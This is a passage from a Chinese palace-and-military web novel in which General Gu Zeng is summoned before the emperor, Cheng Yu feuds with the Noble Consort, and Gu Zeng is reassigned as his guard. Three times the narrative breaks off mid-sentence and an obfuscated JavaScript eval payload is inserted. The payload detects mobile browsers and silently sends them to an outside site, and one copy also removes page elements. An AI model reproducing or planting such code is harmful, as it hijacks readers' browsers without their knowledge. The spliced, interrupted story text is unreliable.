“阿曾别打我!”他捂着脑袋往后缩了两尺,“怎么说咱俩也是有过生死之交的情谊,你就饶我这一次。” 生死之交……顾曾哽了一下,眉心硬生生缠上一丝悄然的柔软。 她倏然意识到,何止是生死之交,他是救命恩人。若不是他在,西北、西南还不定要乱成什么样子,而她自始至终,连个“谢”字都没说过。 然而她该说的。 纵然心底的落寞来得十分不合时宜,顾曾几番犹豫,终是站起了身。 玄甲随着她伸展的双腿一节一节笨重地展开,发出“咔嚓、咔嚓”的金石摩挲之音。 心境使然,此刻在这狭小的马车中,她有种顶天立地的伟岸,显得如此格格不入,仿佛下一刻便要持剑出征。 程彧痴怔了一刹,几乎是仰慕地望来。她还真是……一点都没变,从小到大都是这个样子——一身转战三千里,一剑曾当百万师。 他兀自呆愣着,顾曾却倏地向前一个迈步,铁靴触地,发出一声重重的沉闷,而后她膝间一弯、从不弯折的脊背也跟着低了下来,已单膝而跪。 “啊啊啊啊阿曾,你折煞我!”程彧被她吓得半条魂都没了,“我是同你说笑的,你千万别往心里去,快起来。” 他大惊失色地抬手托她,却在碰到她的那一刹不由自主的浑身发麻,顿时忘了喘气,连舌头也不听使唤了。 她双瞳剪水,呼吸近在咫尺,他的视线扫过她微蹙的眉心,再稍稍下移,便可耻地落在了她微启的唇上。 朱唇若蔻,吹气如兰。 程彧的喉咙情不自禁哽了一瞬,而后觉得自己是时候去死了——她就这样跪在面前,他却满是别的心思,满是夜夜梦回时那些让他痴迷又不可宣之于口的渴求。 “阿曾,”他几乎快哭了,颤声道,“你别这样。” 这和要了他的命又有什么分别? 顾曾埋首至胸:“二公子,先前一直寻不到合适的时机,西南的事……多谢相助。” 她声音很轻,几乎淹没在随行羽林军齐整的脚步声中,可在程彧耳中却堪比黄钟大吕,顿时令他羞惭无状。 她如此义正辞严,而他却在胡思乱想。那些事,那些肮脏的……光是在脑中过上一遍,都是玷污了她将军之名。 程彧决定回家后自行在佛堂前跪上一整晚,当下有些不自然地摸了摸鼻尖,轻声道:“这个么,不用谢,小宸王也早就谢过了。” 他没指望她这般高傲的人能向自己低头,再说,也担待不起。他本就不是什么高尚的正人君子,甘愿入险也只是为救她罢了。 顾曾抿了抿唇,低声道:“别人我管不住,但二公子于我的救命之恩我自当报答,于此立誓,若你以后有性命之危,我定全力相助。” 眼见她又将身子弯低了几分,程彧劝不住,一急之下竟也扑通给她跪下了。 “阿曾,我求你起来吧。都是不足挂齿的小事,你何必如此放在心上?我一定好好惜命,尽量这辈子都不劳烦你行不行,你再不起来我今晚可就要做噩梦了。” 本就是他自作主张,是他心甘情愿,如今要她这么高傲的人对自己摧眉折腰,这可比要他死还叫他难受。 顾曾仍是一声不吭地跪在那里,柔和的光落在熠熠生辉的玄甲上,打亮了她一半身子,几乎有些晃眼。 得到程彧的答复,她怔了晌久,方叹了口气:“也罢。” 二人这才饶过对方,回到原位坐好,好似一切都没发生过。 顾曾悄悄将脸扭到暗处,低头扫着自己的脚尖,忽然满不在乎地笑了一笑——果然,人家根本不稀罕她一句别扭的谢谢啊。 他一辈子都会平安顺遂、衣食无忧,根本不会有什么需要她来救的时候,也根本不需要她,她便也不用再和他有什么瓜葛。 很好,免了许多麻烦,就此两清罢。 “两清。”她无声地念道,一时间竟觉眼前一片漆黑,茫然无措间,仿佛有光渐渐褪去。 她方明 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一生的风霜雪剑,令她长成了这般骄矜自负的人,却又如此轻易地放任旁人携了盛世繁华的一袭春色入了她的梦。 自作自受罢了。 不知是谁的心跳隆隆作响,马车内只笼罩着一番劫后余生的沉默。 不多时,马车终于停下,外面有人唤道:“二公子、顾将军,陛下和贵妃娘娘已在御花园等候多时了。” 顾曾原本合着眼入定了一般,听见这道堪称慈祥的声音,顿时如遭雷亟般的双瞳一缩,身子猛然大颤,额上的青筋也跟着暴起。 眼见她急匆匆地就要跳下马车,程彧张口喊住她:“莫急,先喝盏茶,待会儿怕是要有的受呢。” 顾曾心道有理,一会还不定要怎么被乾安帝为难,便依程彧所言端起茶盏,潦草地一饮而尽。 这茶却意料之外的苦涩,她心急火燎地一口下去,苦味一路上涌直通到天灵盖,整个人都被迫通透了起来。 “你故意的吧?”顾曾看着笑意盈盈的程彧,好容易才忍住没揍他,渐渐将呼吸平复下来,又觉当真通透了些许,沉声道,“还有什么别的要嘱咐我么?” 程彧丝毫没有为自己的诡计得逞而羞耻的样子,只笑道:“你七窍玲珑,心中什么都明白,我嘱咐你才是画蛇添足。若真说有什么担心的么,求阿曾克制克制你那无畏天地的暴脾气。” “……”顾曾冷哼一声,这得了便宜还卖乖的混蛋! 程彧对她无声地眨眨眼,先一步下了马车,而在他身后,顾曾的眼神却骤然一冷,脸上的恨意与悲切亦是盘旋不散,浓重得仿佛永远不该出现在一个妙龄女子的脸上。 马车外站着一队毕恭毕敬的宫人,由一老内监领着,正颇为亲切地朝二人招手。 程彧笑道:“季公公,怎好劳烦您亲自来接。” 那老内监笑而不语地打量着顾曾,待到二人走到面前才和和气气地作揖。 “老奴季辛,见过顾将军。”他手中一挥雪白的拂尘,连啧了好几声,感慨道,“老奴长这么大、见过这么多人,还从未见过像顾将军这样年轻有为的巾帼,傅将军实在是识人有方。” 顾曾幽幽抬起一双不显杀意的眼,清浅一笑:“岂敢,季公公言重了。” 这位季辛公公是服侍了皇帝几十年的老人,生得白眉鹤发,一张圆滚滚的世故脸将他衬得如同大肚弥勒,说起话来却是皮笑肉不笑,语调平稳如同念咒。 去御花园好长的一段路上,几人边走边说客套话,大部分都是季辛在絮叨。程彧在皇宫中不敢太放肆,踏着规规矩矩的四方步,颇会察言观色地附和着季辛,只会偶尔对路过的熟人打个俏皮的呼哨。 顾曾一直默不作声,额上早已覆满汗珠,面色却苍白如雪,一双漆黑的眸子里不仅不见怒色,连一丝情绪都没有。 只在不经意间,她才会扫过季辛佝偻着的一张背,拳头暗自紧了又松,如此循环反复。 季辛此人,可是她殷切念叨了许多年的“故人”。 50.与君酌(六) 当年就是这位老内监被乾安帝派来犒军,寥寥几句话便逼死了傅昙。 即便顾曾当年只有六岁,记忆残缺,却会永远记得此人佛光普照的面容在那一瞬露出的阴鸷毒辣的笑容。 单单只是那抹笑,就足以让她梦魇多年。 好在她不是傅昙,并非众星捧月、不知收敛的天生将才。于泥泞中打滚多年,她早已磨练出一副卑微的身姿和处事不惊的城府。 即便没有程彧阻拦,她也做不出什么出格的事,身为砧上鱼肉,她此刻能做的也只有徒劳的愤怒而已。 皇帝和贵妃原本正在后花园赏荷,听到季辛带了人回来,便移步湖心亭,命宫人拉了一扇透气的绡纱,宣人召见。 顾曾只隐约看了他二人一眼,乾安帝倒也罢了,就是个普通的小老头儿,瞧不出什么贵气,他身旁的贵妃倒是精致得惹人眼球。 程彧深受圣恩,礼刚行了一半,乾安帝便打断道:“行了,快过来。” 他招呼程彧坐到自己身边,还要宫人给他剥石榴吃。 程彧神色异常端正,并未恃宠而骄,坚持行完了礼才挑纱坐到了乾安帝的下首。 乾安帝笑着拍他的肩,声音温和:“容与这几日怎么憔悴了,可有心事?” 程彧叉手一拜,举手投足平白多了几分罕见的儒雅,笑意却依旧飞扬:“陛下何时见臣有过心事,不过是天气热、没歇好,就等着城里能下场大雨解暑呢。” 能这般随意同乾安帝说话的臣子,满朝怕是找不出第二个,话本里写他荣宠无二果然不假。 只是相比淫词艳曲里传言他是乾安帝的面首,顾曾还是更愿意相信,乾安帝是单纯地拿他当个儿子一样的晚辈来看待,言辞间甚至比寻常人家的父子还要亲昵。 不过,程彧爱怎么夹着尾巴装乖巧是他的事,她可没功夫替他操心——她自己可还跪在亭口的石阶前,没有乾安帝叫她起来,她唯一能做的事便是跪着。 乾安帝一边和贵妃言笑晏晏,又一边慈眉善目地同程彧谈笑风生,聊了直有半柱香,似是全然把她忘了。 顾曾汗若濡雨,双眼空洞洞望着滴在地上的汗珠,身子却绷得比戒尺还直。 他们要她一直跪着,她便一遍又一遍回忆着那个大雪天。那天,正是亭中这个中年男人从遥远的京城伸出一只逃不脱的大手,无情地掐断了傅昙这支风中之烛。 而自那天之后,整个西北落入一片混沌的黑暗,狼烟四起、战火纷飞,直至姜祐珣横空出世才渐渐止息。 傅昙临死前最后一句话是:惟愿小女无隅一生平安。 他戎马一生、功勋无两,死前别无所念,只求乾安帝放过自己那不谙世事的女儿。 可乾安帝没有。 他是皇帝,自然想杀谁就杀谁,还可以肆无忌惮的言而无信。十四年前他就不顾君臣旧谊,派出一众好手奔赴西北;尔今又千里迢迢将她召来京城。 不论是之前还是现在,他的目的不就是要取她这条早就该绝的命么? 如此,她便来了,堂堂正正地来受死了。 顾曾忽地想道:“原来这世上真正的残忍凶恶之徒并不会把‘恶’字写在脸上。” 所谓皇帝,所谓九五之尊,也不过就是个笑意温柔的小老头儿,寻常得不能再寻常,放到街衢上都不会惹人多看两眼。 他不止会吹胡子瞪眼,他也会笑,只是这笑不会施舍半分给她、她小姑、姜祐珣和守境的将士们。 这个人让她吃尽了苦,那些刀疤与伤痕带来的隐痛于此刻席卷而来,几乎将她撕裂。 她木讷地跪着,却无比清醒地升起了一个念头:纵然她爹也可恶,但这世上最该恨的从来都不该是她爹,而是面前这个高高在上的男人。 他召她来受死,然而,他才是真正该死的人。若是手中有把刀,她定然要将这老东西砍了。 又过了半柱香,程彧才终于“顺带”扫了她一眼,小声开了腔:“陛下,顾小娘子还在那儿跪着呢。” 乾安帝掀了掀眼皮,慢吞吞道:“不懂事的臭小子,什么‘小娘子’,她可是朕派往渭城的左膀右臂、我大昭不可多得的良将。” 话虽这么说,乾安帝却毫无责备之意,只一笑过之,也并没有要让顾曾平身的意思。 贵妃身为荣王的生母,保养得甚好,一张倾国倾城的脸上几乎看不出岁月的痕迹,也看不出喜怒哀乐。 不过顾曾听了他们的几句闲聊,就敢断言,她非常不喜欢程彧,甚至可称得上厌恶。 这二人分坐乾安帝两侧,几乎没有交流,此刻见程彧替顾曾求情,贵妃这才眼波一流转,探身笑道:“容与前年去阆州是见过这位顾将军的吧,怎么好像全然不认识?” 程彧也不甘示弱:“娘娘这话可是冤枉臣了,我自然识得的。纵然天下女子繁多,顾将军凌霜傲雪之姿,可比养在温室里那些矫揉造作的解语花要特别得多,臣怎会记不住?” 顾曾“嘶”了一声,心中暗骂:“……吵架便吵架,非扯上我做什么?!” 果然,贵妃一张粉面含春的脸霎时便涨红了,嘴角牵出一丝隐秘的笑意:“原来如此——难怪当年你一回来,就在陛下面前为这位顾将军说了不少好话。” 程彧的语气瞬间冷了:“我不过实话实说,陛下问我,我才说她看起来就没什么郡主的样子,这也算什么好话么?若是娘娘您信赖的白望农大人还在,想必也会赞成臣的话,您想必也就信了。” 他接着笑道,“真是可惜了,白大人死于山匪的刀剑下,娘娘对他的多年提拔和栽培也付诸东流了。” 贵妃大怒,几乎坐不稳,颤声一喝:“你含血喷人!” “我的确‘含血’……”程彧动了动眉梢,哂笑道,“与白大人同行那些时日,他也不知是听了谁的指示,竟敢朝我投毒,好几次都要成了呢。” 他又连道几声“可惜”,皮笑肉不笑地盯着贵妃,“就算他不死,回来之后,除了将他千刀万剐,臣也会如实禀告陛下,请陛下做主去查查,究竟是哪个背后之人居心叵测要置臣于死地。” “够了。”乾安帝扬手止住二人。这些事情,连他也是第一次从程彧口中听到,震惊之余,目光自然而然轻轻扫到了贵妃的身上。 随侍的宫人早就吓得跪了一地,生怕因为听到了什么不该听的宫廷秘辛而被拖出去乱棍打死。而顾曾身为局中人,更是听得呆愣良久。 原来那时候的程彧真没在骗她,白望农不仅是被乾安帝派去探查她身份的密探,还私下经了贵妃授意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四下寂然,乾安帝喜怒参半地望来,贵妃却并未急着辩解,只娇滴滴哽咽两声:“容与向来看不惯妾身,总是这么横冲直撞的。妾身又不像陛下那般心如明镜,只是好奇容与和这位顾将军到底有几分交情,这才多问了几句。可小容与你不但急着否认,还攀扯出那么多的弯弯绕绕,又究竟是何居心?” 她绵里藏针的一问,程彧只以不变应万变,嬉笑道:“臣方才全是在胡言乱语,言者无心,娘娘这个听者难道有意?” “你们俩还不住口!”乾安帝隐隐一声怒喝,天气本就炎热,这两人又吵个没完,他只觉胡子都要烧起火来。 他在风口站了一会,半嗔半怜地轻拍了程彧一下,说道:“你这孩子,既然知道是自己口无遮拦说了胡话,还不快赔罪?” 言下之意,定是要假装没听到程彧的话,打算大事化小小事化了、不追究贵妃了。 程彧立即道:“理应如此。” 隔着绡纱,顾曾看见他低着头、没所谓的一笑,心里忽然便多了根刺一样,竟然有些替他鸣不平。 程彧掸袍屈膝下跪一气呵成,仍在漫不经心笑着:“臣胡言妄语冲撞了娘娘,该当受罚。若娘娘仍觉不解气,那便这样罢——臣也去外面跪着好了。” 还未待有人阻止,他便一个箭步冲出了亭外,将皇帝抛之脑后,满目开怀地朝顾曾走来,步履匆匆竟似迫不及待一般,携来一阵清爽的风,跪在了她身侧。 51.与君酌(七) 好端端正说话的人转眼就去跪着了,乾安帝登时怒从中来——他又不是暴君,又没有要罚程彧什么,他却赌气似的自己先去大太阳下面跪着了,自己这仁君当得也甚是憋屈。 他连捶了好几下桌案,酒杯倾倒,佳酿跟着洒了一地。 贵妃不自觉身子一震,不敢再去火上浇油,老实了。 而亭外的始作俑者程二公子竟还跟着没事人似的,对顾曾歪了歪头:“哎哟顾将军,你我现在可算是同病相怜啦。” 顾曾没理他,连头也没偏上一分。 这家伙胆大包天到这种程度,是拿准了乾安不会将他怎样,可她就不一样了,她可是一不小心就要丢小命的人,没资格陪他胡搅蛮缠。 乾安帝老脸一横,忽地嚷道:“老四呢,怎么还没来?朕叫他来也敢推辞,神策军当真有那么多事要忙?” 季辛赶紧答话:“荣王殿下今日巡视城北营防,想必已在赶来的路上了。”他立即又安排了好几人去宫门口候着,乾安帝这才没继续发难。 好一阵清净。 日头偏西,落在顾曾和程彧的身侧,在地上拖出两条长长的黑影,似两株随风摇曳的嫩枝旖旎交叠。 顾曾先前还恨不得一刀把乾安帝劈成两半,此刻身旁有个人陪着,紧锣密鼓的心跳渐渐平静下来,心境也随之改变。 她忽然便不再畏惧高高在上的皇帝,还生出了几分势要越过高山的豁然开朗。 直至一阵疾风拂过,她方回过神来。 有一袭红影飘然落在她身侧,正是刚从城外赶来的荣王。 他风尘仆仆地纵马而来,进了宫门便是一阵大步流星,也没顾得上管那些被派去接他的小内监,赶至后花园时,他的朱红抹额已然被汗染成了一束绛红,然而一看到他亲切的父皇母妃,荣王便明朗地大笑起来。 他施施然一拜:“儿臣来迟。” 乾安帝对他摆摆手,荣王便起了身,扯着脖子瞧向身旁跪着的两人,看到程二公子这个熟人,不假思索地喊道:“程容与!怎么是你在这跪着?我以为是大皇兄呢。” 四下里这么多人都在,贵妃显然容不得他这般胡言乱语地议论太子,脸色一黑,斥道:“阿珏,不许放肆!” 荣王没当回事,站到程彧面前晃悠了好几圈,打了个哈哈:“难得看到你受罚,是不是又净想着逞威风、乱替人出头了?” 他嘴角噙着抹幸灾乐祸道的笑,余光漫不经心的一瞥,定在了另一个跪着的“陌生人”身上,挺拔如松的身躯霎时一软,舌根发麻,连话也说不利落了,“顾……顾娘子?!” 顾娘子她披甲束发,眸光沉得像一汪不见底的寒潭,额间鬓角皆是湿漉漉的,显然已跪了不知多久。 大约是这个原因,她的神情比前几日在宴会上见着更加桀骜,像一匹倔强的小野狼。 荣王想都没想,扑通一声便又跪下了。 乾安帝不明所以地瞥他一眼:“你跪什么?” 荣王涨红了脸,朗声应道:“不、不知道!” “胡搅蛮缠的小混账!”乾安帝对他一向宽宥,当下也不同他计较,只笑骂一声,“还不快起来,到你母妃身边坐着。” 荣王却挺直了身子,眸光殷切,像两道焰火一样射到乾安帝那挡不住风的龙袍上,憋得脸都红了,仍是没个响。 程彧也受不住他不分场合地瞎掺和,啧了一声,尽显嫌弃:“我说荣王殿下,您想跟着受罚能不能跪我后面,好替我遮遮太阳?” 荣王却不应声,“咚”的一下,磕了个重重的响头。 顾曾吓了一跳,这一下光是听着都觉得疼,荣王殿下一定练过铁头功。 乾安帝目光一沉,云里雾里地问道:“阿珏,这是做什么?快起来。” 荣王一咬牙,“咚”的又磕了一个,振声大喊:“请父皇开恩,饶过容与和顾娘子。其实……容与也就罢了,求父皇饶过顾娘子!” 乾安帝本来就在气头上,荣王语罢,他顿时失了耐性,暴跳如雷的一声怒喝:“姜祐珏,你起是不起?不起就给我永远跪着,再也别起来!” 荣王却全然不怵,倔脾气一上来,什么都可不管不顾,伏地又磕了个头:“儿臣可以跪,但请父皇饶过顾娘子,是儿臣先对她不敬,是儿臣擅自倾心于她,与她无关。” 顾曾:“……” 她自打来到这,连个说话的机会都没有,如今莫名其妙被荣王扣下这么大一口锅,当下哭笑不得,想揍他一顿的心都有了。 贵妃眼睁睁看着荣王白净的脑门磕红了一大片,说不准还要长肿块,心疼得直掉眼泪:“阿珏宵旰图治,本是大昭的福报,陛下反倒怪罪起他来了,莫不是厌倦我们母子二人了……” 她说着说着竟是遏制不住的伤心,身躯一软,也瘫跪在地,泪珠断了线般“啪嗒、啪嗒”落个不止。 乾安帝环顾着眼前这跪了一大片的人头,拍案大怒:“成何体统,还不都快起来!” 又特意转向顾曾,喝道,“你你你也起来!” 荣王闻言大悦,先是一个箭步上前把贵妃扶回了软榻,回首望来,正准备把顾曾也搀起来,却恰好看见程彧笑着同她打趣,听他说道:“阿曾,咱们这次可是欠了荣王殿下好大一个人情呢。” 顾曾没说话,只默默地把鬓角的发丝挽到了耳后。荣王看得真切,一身甲胄的衬托下,她浅浅的笑容还带着几分生涩的柔和。 “阿曾……”荣王喃喃道——凭什么程容与可以这样唤她的名字? 不对!他回过神来,意识到自己显然关注错了重点。 他现在更该在意的是为什么顾娘子会一身官服出现在这里,难不成,皇帝还真应了他的请求,打算让她入神策军?! 这对荣王来说简直是天大的喜事,他方才那股酸溜溜的劲儿一下便付诸于脑后。 端午宴会一别,他对她简直是日思夜想,心中决定非她不可。 虽然别人不停地在他耳旁吹风,说什么天底下比她好的小娘子多得是,但那又如何?在他姜祐珏的心中,这天下弱水三千,君子只该取一瓢饮,别的小娘子再好也同他没干系,他既扬言要娶她,便不该再三心二意、思虑旁人。 贵妃探出了一截仿若堆雪的藕臂,招呼道:“阿珏,快过来让母妃好好看看你。” 荣王便乖巧地坐在了贵妃身侧,而顾曾也得了赐座,就在纱外下首的几尺之外。 贵妃替荣王又是擦汗又是揉额头,絮絮叨叨地嗔道:“你这孩子,也不知常回来看看母妃,一入军营便骨头硬了是不是?身子又壮实了不少,可瞧瞧这脸都晒黑了。 “自从你入了神策军,过的日子还比不上外面那些游手好闲、不知进取、只知尖嘴耍滑的公子哥。人家倒是聪明,知道依托父辈荫蔽,虽然名声不怎么样,可照样没脸没皮活得好好的。依我说,你就是在你父皇面前太要强,已然是皇子,又何必去争那贤德的名声?” “……”程彧不动声色,任她变着法儿的骂。 乾安帝知晓贵妃胸无城府,又爱使小性子,可他偏偏觉得这样娇傻可爱,只轻咳一声:“你今日怎得那么多话?在小辈面前也口无遮拦,羞也不羞?” 荣王也道:“母妃此话偏颇,容与虽然顽劣,但到底也没做过什么伤天害理之事,旁人的风言风语信不得。” 程彧只笑道:“荣王殿下,贵妃娘娘也未必是在暗讽我罢。” 贵妃臊红了脸,她这儿子的性子向来憨直,不分场合的想到什么便说什么,就连她的面子也不给,忙岔开话题道:“你父皇今日叫你来,是体谅你辛苦,给你找了个好帮手。” 事情已然十拿九稳,荣王更是按捺不住的欢欣,眸间神采奕奕,立即拜谢:“多谢父皇怜爱。” “这时候你倒聪明了。”乾安帝一笑,深沉的视线落在顾曾身上,声若洪钟道,“顾将军出身铸光,军中事务比你通晓百倍,你多同她学着些,我也能安心地把京城巡防交给你了。” “铸光军……?”荣王一怔,思索几息后彻底懵了,瞠目结舌了半晌也没说出话来。 顾曾闻言意会,就势一拜,朗声道:“遵旨。” 荣王眸间大动:“顾娘子你……” 顾曾半分笑容都无,目若寒霜地盯着他的脚下,谦卑又木讷地对他行礼:“铸光军骁骑营顾曾,见过荣王殿下。” 前几日,贵妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他能做的也不过就是幽幽地看着石级之下那触手可及的女将军,而后倜然一叹。 如掬水揽月、弄花留香,无论如何都是留不住的。 乾安帝目光炯炯望向顾曾,说道:“爱卿,朕强行将你从铸光军调走,心中对傅将军有愧。如今四海皆平,只有北境偶有异动,扶苍与安宁两军韬光养晦许久,是时候多派些人手往渭城去。朕已着手安排此事,定然不叫傅将军吃亏,你就安心留在京城,替阿珏打理京城防务,如何?” 他既这样说了,顾曾自不敢不应,心中甚至还有些喜出望外。姜祐珣先前同她分析得果然大差不差,她留在京城,铸光军的日子便会好过一些。 若能以她一人之身,换得一道固若金汤的汉云关防线,那她也甘愿被禁锢于此。 乾安帝正为自己的明君行径心得意满,此时却偏有人要站出来扫他的兴。 “陛下所言极是,只是……”程彧悠悠开口,“顾将军新官上任,直接进神策军给殿下做副将怕是会水土不服。臣身为大内统领,愿为陛下分忧,不如让顾将军先跟着臣历练一段时日,待她熟悉京城事务之后,再入神策军辅佐荣王殿下。” 顾曾在一旁听着,满脸都是震惊之色:什么?这家伙还真是大内统领?乾安帝一定是疯了,彻彻底底的疯了。 程彧原形毕露间扯出一丝坏笑:“况且军中明令禁止私情,荣王殿下先前向顾将军求爱一事闹得沸沸扬扬。若顾将军直接入神策军,不知外界传言要传得多么不堪。荣王殿下身正不怕影子斜,可是就怕消息灵通的贵妃娘娘听了要心气郁结,岂不得不偿失?” 贵妃勃然作色:“胆敢编排本宫,程容与你放肆!” 他寻常自然也猖狂,但在皇帝面前向来会收敛些,今日却格外变本加厉,话中句句带刺、咄咄逼人,大有不达目的绝不罢手之意。 乾安帝陷入了沉思,晌久,温言道:“容与所言倒是在理,那依你看,朕封给顾将军一个什么官职好?” “这个么,说来也巧,”程彧牵了牵唇,眼角噙起一丝狡黠的笑意,“不光荣王殿下一直缺个副手,微臣这个大内统领也缺个随身侍卫……” 52.与君酌(八) 荣王正忙着心如刀割,但一生习武,最敬的便是大昭的这些将军们,闻言立即大怒,拔地而起就要揍他:“程容与你反了天了,怎可让一军之将给你做随侍?” 程彧“哎哟”了一声,当机立断躲在了乾安帝的身后。 “非也。”他指尖拨动着额前的碎发,轻描淡写道,“陛下当明白,顾将军与铸光之系不可轻易斩断,何不留着顾将军这骁骑营主将之名?微臣要的,也只是……” 他目光在荣王和贵妃脸上游走了一圈,待成功惹怒二人之后才露出一抹得意的坏笑,神神秘秘地凑到乾安帝耳侧,悄声说了几句什么。 此人像个祸国殃民的妖妃一样,把皇帝迷得神魂颠倒,原本还狐疑不定的乾安帝逐渐展颜,颔首抚须,眼中竟含赞赏之意,说道:“你有此心,不错。” 眼看着皇帝被程彧说动,荣王懵懂间终于意识到,所谓的要把顾娘子派去神策军给他做副手,不过都是名正言顺将她留下的手段罢了。 他的好父皇并非在为他和神策军思量,一旦有了别的更好的理由,便可以毫不留情地将她从神策军中夺走。 荣王气得双目着火,哑声道:“程容与,你如此大包大揽,可曾问过人家顾将军的意思?” “殿下别急,臣正要问呢。”程彧嘻笑一声,轻巧地跃到顾曾面前,拨开她面前的绡纱,继而对她淡淡一笑。 “顾将军,十二卫,来不来?” 顾曾目露凶光地瞪他一眼——不入十二卫,她就得进神策军天天哄孩子似的陪荣王玩,她有别的选择么? 可真要她顺着程容与这家伙的话回复,又怎么想怎么憋屈,便应道:“单凭陛下吩咐。” 荣王见她没有立刻应下,顿时有了底气,沉沉笑了两声,正欲向乾安帝求情,乾安帝却已然下定了决心,根本不听他说话,大手一挥说道:“容与,顾将军有如昆山片玉、林中秀木,你需谨慎相处,切莫折辱了她,不然我定不轻饶你。” 这是他的老把戏了,明贬暗允,荣王听后大失所望,忿忿地别开头去,不再去瞧程彧那副得意洋洋的嘴脸。 乾安帝又转头看向顾曾:“朕便封爱卿为亲勋翊卫将军,一干事务你且听容与安排。” 这是个四品的头衔,顾曾冷笑一声,没想到自己竟然还升官了。但这四品官也就是好听而已,说白了,她还是得给程容与当跟班。 她知道自己没有拒绝的权利,只淡淡应了句“是”。 尘埃落定,所有人似乎都甚为满意,只有荣王白白跑这一趟,还收获了一肚子的不爽。 他霍地起身,脸上写满了想把程彧千刀万剐的冷冽杀气:“神策军中还有事,儿臣先告退。” “欸,慢着慢着。”程彧却不知好歹地把他按回席榻,笑道,“臣得去安排顾将军这位新手下,要走也该臣领着她先走。荣王殿下好容易来一趟,陪陛下和娘娘再说会话呗。” 适才还与他水火不容的贵妃这时候倒和他站在了同一条线上,也说:“阿珏,走那么急作甚,吃了晚膳再走。” 趁着这当口,程彧飞快地给顾曾使了个眼色,称了句“告退”就大摇大摆地扬长而去,皇帝不仅不管,还望着他背影直笑,摆摆手让顾曾也跟着他下去。 正是日落时分,天地间一片柔和绚烂的霞光,宫墙和人影都被低垂的暮色拉得长长的。 没了季辛陪着,程彧又心情大好,一路都蹦蹦跳跳的不安分。 顾曾走在他斜后方,瞥了眼他的背影,忍不住低骂:“混蛋。” 身侧随行的小宫人发出几声窸窣的窃笑,程彧蓦地一个转身,顾曾跟着踉跄一步,险些撞他怀里,咬牙切齿道:“混蛋,你干什么?” 程彧的脸上满是藏不住的欢欣:“我当混蛋又不是一天两天了,顾将军才有所耳闻么?” 挑灯的小宫人们笑得更明目张胆,程彧这才轻咳一声,面上覆了层红晕,低声道:“那什么,一会你送我回家,我有事要同你说。” 送他回家?这家伙真是三天不打就要上房揭瓦了! 顾曾瞪他一眼:“不送。” 程彧冲她眨了眨眼,软绵绵道:“顾将军别闹,听话。” 顾曾突然有种在光天化日之下与他公然那什么的心虚感,偏偏她还不能揍他一顿以自证清白,积攒了毕生的脸皮在这一刻全都丢尽了。 最后,她还是应了他,也从程二公子这学到了一句真理——原来人至贱当真可以天下无敌。 二人正说着话,前方宫墙转角处一暗,有群身着胡服、眉目深邃的西域人迎面走来。 是以龟兹国为首的西域使团。 宫人们正要正要避到一旁,顾曾和程彧眸光一凛,异口同声喝道:“不许让!在我大昭的皇宫里,凭什么给他们让道?” 为西域使团引路的宫人驻足至二人面前,哈腰一笑,还不及开口,程彧便越过他,冷笑道:“老对手,我还道你们输了毬赛便连夜收拾包袱滚蛋了,怎么还来自取其辱?” 那宫人吓得两股战战,还以为他要在这跟人动手,劝道:“二公子,几位使臣明日便要启程回西域,今日特来向陛下辞行。” “我自然知道。”程彧眼角眉梢皆是讽意,“只是辞行完是不是还打算顺便求见一下咱们小宸王?都求见过多少回了,陛下哪次允了,如此贼心不死,姜祐珣是烧过你们祖坟还是什么,要你们对他这么念念不忘?” 为首的西域使者极为高大,比他还高出半个头,举止却是涵养过人,堪称细腻柔美。 他垂眸一笑,操着一口浓重的口音说道:“统领大人说笑了,我等求见宸王殿下只因仰慕其风采。殿下在西域有如护国天神,子民皆敬之仰之,我等早就想一睹其真容。如今听闻殿下就在京城之中,却无人见过其露面,我等难免心存疑窦,这宸王殿下究竟是闭门不出还是已经被……” 程彧轻笑着打断了他,语气又冷了几分:“瞧你这野心都写在脸上了,傻子也看得出来。不牢你挂念,小宸王好得很,随便一出手就能收拾得你们落花流水。你就听我一句劝,多放牛、少动歪心思,对谁都好。” 使者被他言语相激,却也只是哈哈大笑:“是非终日有,不听自然无。统领大人,告辞。” 他不再多言,领着一群人于两侧绕开,遮天蔽日地把程彧和顾曾围在中间,又渐渐走远。 顾曾扫了一眼众人背影,说道:“这帮人如此嚣张,殿下再不回西北,他们怕是就敢揭竿而起了。” 程彧立马对她使了个眼色,示意她慎言。有些话他说得,她可不行。 就在此时,另有一队侍女迈着小碎步而来,手上还托着几盘各式各样的奇珍异宝。 为首的见程彧驻眸打量,解释道:“这些是西域使团赠予陛下的临别之礼。” 程彧眯眼扫过一遍,扬手点到一盘:“那是什么玩意?” “回二公子,”被点到的侍女屈膝一拜,“这是由西域特产的红石打造的掌中山水,浸了蔷薇油后芬芳馥郁,据说还有药用价值,是西域孝敬给后宫娘娘们的。” 程彧手指在托盘底座上蹭了一把,放到鼻尖嗅了嗅。 顾曾顷刻会意,与他交换了个眼神:有毒? 程彧几不可察地对她一笑,眼里神秘莫测的,顾曾也拿不准他什么意思,只听他对侍女说道:“陛下最喜欢西域奇香,保险起见,所有东西先单独入库,叫太医署的人仔细瞧过确认无误后再呈给陛下。” 侍女应了是,盈盈走开。 程彧又对随行的宫人说道:“前面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778461|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 